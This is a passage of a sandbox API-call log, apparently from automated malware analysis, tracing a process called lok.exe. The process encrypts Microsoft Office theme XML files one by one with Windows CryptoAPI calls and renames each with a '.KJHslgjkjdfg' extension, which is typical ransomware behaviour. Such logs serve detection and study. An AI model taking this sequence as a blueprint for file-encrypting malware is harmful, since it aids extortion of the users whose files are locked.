hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.922] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.922] GetProcessHeap () returned 0x2a0000 [0198.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0198.922] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0198.922] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.923] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0198.925] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.925] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.925] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.925] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.925] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.925] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.926] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c0, lpOverlapped=0x0) returned 1 [0198.926] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0) returned 1 [0198.926] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.926] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c0, lpOverlapped=0x0) returned 1 [0198.926] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.926] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.926] SetEndOfFile (hFile=0xf0) returned 1 [0198.928] GetProcessHeap () returned 0x2a0000 [0198.928] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0198.929] GetProcessHeap () returned 0x2a0000 [0198.929] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.kjhslgjkjdfg")) returned 1 [0198.930] CloseHandle (hObject=0xf0) returned 1 [0198.931] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0198.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.933] GetProcessHeap () returned 0x2a0000 [0198.933] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.933] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.933] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.933] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0198.936] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.936] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.936] GetProcessHeap () returned 0x2a0000 [0198.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0198.936] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0198.936] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.936] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0198.936] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.936] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.936] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.936] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.936] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.937] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.937] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c1, lpOverlapped=0x0) returned 1 [0198.937] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.937] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.937] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.937] SetEndOfFile (hFile=0xf0) returned 1 [0198.940] GetProcessHeap () returned 0x2a0000 [0198.940] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0198.940] GetProcessHeap () returned 0x2a0000 [0198.940] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.kjhslgjkjdfg")) returned 1 [0198.942] CloseHandle (hObject=0xf0) returned 1 [0198.943] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0198.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.944] GetProcessHeap () returned 0x2a0000 [0198.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.944] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.944] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.944] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.944] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.944] GetProcessHeap () returned 0x2a0000 [0198.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0198.945] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0198.945] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.945] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0198.948] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.948] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.948] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.948] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.948] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.948] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.948] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c0, lpOverlapped=0x0) returned 1 [0198.949] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0) returned 1 [0198.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.949] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c0, lpOverlapped=0x0) returned 1 [0198.949] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.949] SetEndOfFile (hFile=0xf0) returned 1 [0198.952] GetProcessHeap () returned 0x2a0000 [0198.952] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0198.952] GetProcessHeap () returned 0x2a0000 [0198.952] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.kjhslgjkjdfg")) Process: id = "2" image_name = "lok.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe" page_root = "0x3ff87000" os_pid = "0x670" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xb64" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2916" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x32c [0062.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x3f8d1af0, dwHighDateTime=0x1d62774)) [0062.176] GetCurrentProcessId () returned 0x670 [0062.176] GetCurrentThreadId () returned 0x32c [0062.176] GetTickCount () returned 0x1148047 [0062.176] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=18461522891) returned 1 [0064.940] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x4, hStdError=0x8)) [0064.940] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xa80000 [0064.941] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0064.941] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0064.941] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0064.941] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0064.941] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0064.941] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0064.941] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0064.941] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0064.941] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0064.942] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0064.942] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0064.942] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0064.942] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0064.942] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0064.942] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0064.942] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0064.942] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0064.942] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0064.942] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0064.943] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0064.943] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0064.943] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x214) returned 0xa807d0 [0064.943] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0064.943] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0064.943] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0064.943] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0064.943] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0064.944] GetCurrentThreadId () returned 0x32c [0064.944] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x4, hStdError=0x8)) [0064.944] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x800) returned 0xa809f0 [0064.944] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0064.944] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0064.944] GetFileType (hFile=0x4) returned 0x3 [0064.944] GetStdHandle (nStdHandle=0xfffffff4) returned 0x8 [0064.944] GetFileType (hFile=0x8) returned 0x3 [0064.944] SetHandleCount (uNumber=0x20) returned 0x20 [0064.944] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2916" [0064.944] GetEnvironmentStringsW () returned 0x2d01a8* [0064.944] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x0, Size=0xaca) returned 0xa811f8 [0064.944] FreeEnvironmentStringsW (penv=0x2d01a8) returned 1 [0064.944] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x424a58, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe")) returned 0x2d [0064.944] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x0, Size=0x74) returned 0xa81cd0 [0064.944] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x98) returned 0xa81d50 [0064.944] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x3e) returned 0xa81df0 [0064.944] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x6c) returned 0xa81e38 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x6e) returned 0xa81eb0 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x78) returned 0xa81f28 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x62) returned 0xa81fa8 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2e) returned 0xa82018 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x48) returned 0xa82050 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x28) returned 0xa820a0 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x1a) returned 0xa820d0 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4a) returned 0xa820f8 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x72) returned 0xa82150 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x30) returned 0xa821d0 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2e) returned 0xa82208 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x1c) returned 0xa82240 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0xd2) returned 0xa82268 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x7c) returned 0xa82348 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x36) returned 0xa823d0 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x3a) returned 0xa82410 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x90) returned 0xa82458 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x24) returned 0xa824f0 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x30) returned 0xa82520 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x36) returned 0xa82558 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x48) returned 0xa82598 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x52) returned 0xa825e8 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x3c) returned 0xa82648 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x82) returned 0xa82690 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2e) returned 0xa82720 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x1e) returned 0xa82758 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2c) returned 0xa82780 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x54) returned 0xa827b8 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x52) returned 0xa82818 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2a) returned 0xa82878 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x3c) returned 0xa828b0 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x54) returned 0xa828f8 [0064.945] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x24) returned 0xa82958 